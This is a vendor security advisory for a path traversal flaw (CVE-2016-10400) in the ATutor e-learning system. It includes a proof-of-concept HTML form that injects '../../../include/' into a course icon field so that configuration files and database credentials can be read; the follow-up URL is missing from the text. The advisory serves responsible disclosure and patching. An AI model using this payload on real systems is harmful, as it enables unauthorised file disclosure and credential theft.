Total Tests:

Arbitrary File Content Disclosure in Atutor

Advisory ID:HTB23297
Vulnerable Versions:2.2.1 and probably prior
Tested Version:2.2.1
Advisory Publication:February 24, 2016 [without technical details]
Vendor Notification:February 24, 2016
Vendor Fix:July 1, 2016
Public Disclosure:August 2, 2016
Latest Update:July 1, 2016
Vulnerability Type:Path Traversal [CWE-22]
CVE Reference:CVE-2016-10400
Risk Level:Medium
CVSSv2 Base Score:5.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N]
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in a popular web-based e-learning system Atutor. A remote attacker can view contents of arbitrary local files on the target system with privileges of the web server.

The vulnerability may allow an attacker gain access to potentially sensitive web application and system information, and use received data to gain complete control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and authenticated, but registration is open by default.

The vulnerability exists due to absence of filtration of user-supplied data passed via "icon" HTTP POST to "/mods/_core/courses/users/create_course.php" script, when saving information to database. A remote authenticated attacker can use directory traversal sequences (e.g. "../") in user's icon parameter to overwrite its value and then include arbitrary file on the system and view its contents.

The following PoC code can be used to replace path to user’s icon in database. In this example, we will inject path to the system configuration "/include/" file:

<form action="http://[host]/mods/_core/courses/users/create_course.php" method="POST" name="f1" enctype="multipart/form-data">
<input type="hidden" name="form_course" value="true">
<input type="hidden" name="MAX_FILE_SIZE" value="819200">
<input type="hidden" name="course" value="0">
<input type="hidden" name="old_access" value="protected">
<input type="hidden" name="created_date" value="2016-02-17 13:20:26">
<input type="hidden" name="show_courses" value="0">
<input type="hidden" name="current_cat" value="0">
<input type="hidden" name="title" value="vulnerable">
<input type="hidden" name="pri_lang" value="en">
<input type="hidden" name="description" value="">
<input type="hidden" name="category_parent" value="0">
<input type="hidden" name="content_packaging" value="top">
<input type="hidden" name="rss" value="0">
<input type="hidden" name="access" value="protected">
<input type="hidden" name="release_date" value="0">
<input type="hidden" name="day_release" value="0">
<input type="hidden" name="month_release" value="0">
<input type="hidden" name="year_release" value="0">
<input type="hidden" name="hour_release" value="0">
<input type="hidden" name="min_release" value="0">
<input type="hidden" name="end_date" value="0">
<input type="hidden" name="day_end" value="0">
<input type="hidden" name="month_end" value="0">
<input type="hidden" name="year_end" value="2016">
<input type="hidden" name="hour_end" value="0">
<input type="hidden" name="min_end" value="0">
<input type="hidden" name="banner" value="">
<input type="hidden" name="initial_content" value="1">
<input type="hidden" name="quota" value="-2">
<input type="hidden" name="filesize" value="-3">
<input type="hidden" name="tracking" value="">
<input type="hidden" name="copyright" value="">
<input type="hidden" name="boolForce" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="">
<input type="hidden" name="customicon" value="">
<input type="hidden" name="custOptCount" value="0">
<input type="hidden" name="courseId" value="[COURSE_ID]">
<input type="hidden" name="icon" value="../../../include/">
<input type="button" name="submit" value="Save">

The injected parameter is used in "readfile()" function in the "/get_course_icon.php" script. To view contents of the "/include/" file and see database credentials, the attacker needs to open the following URL:


How to Detect Path Traversal Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Update to ATutor 2.2.2

More Information:

[1] High-Tech Bridge Advisory HTB23297 - - Arbitrary File Content Disclosure in Atutor
[2] Atutor - - ATutor is a FREE Open Source LMS, used to develop online courses and create elearning content.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
Your data will stay private and confidential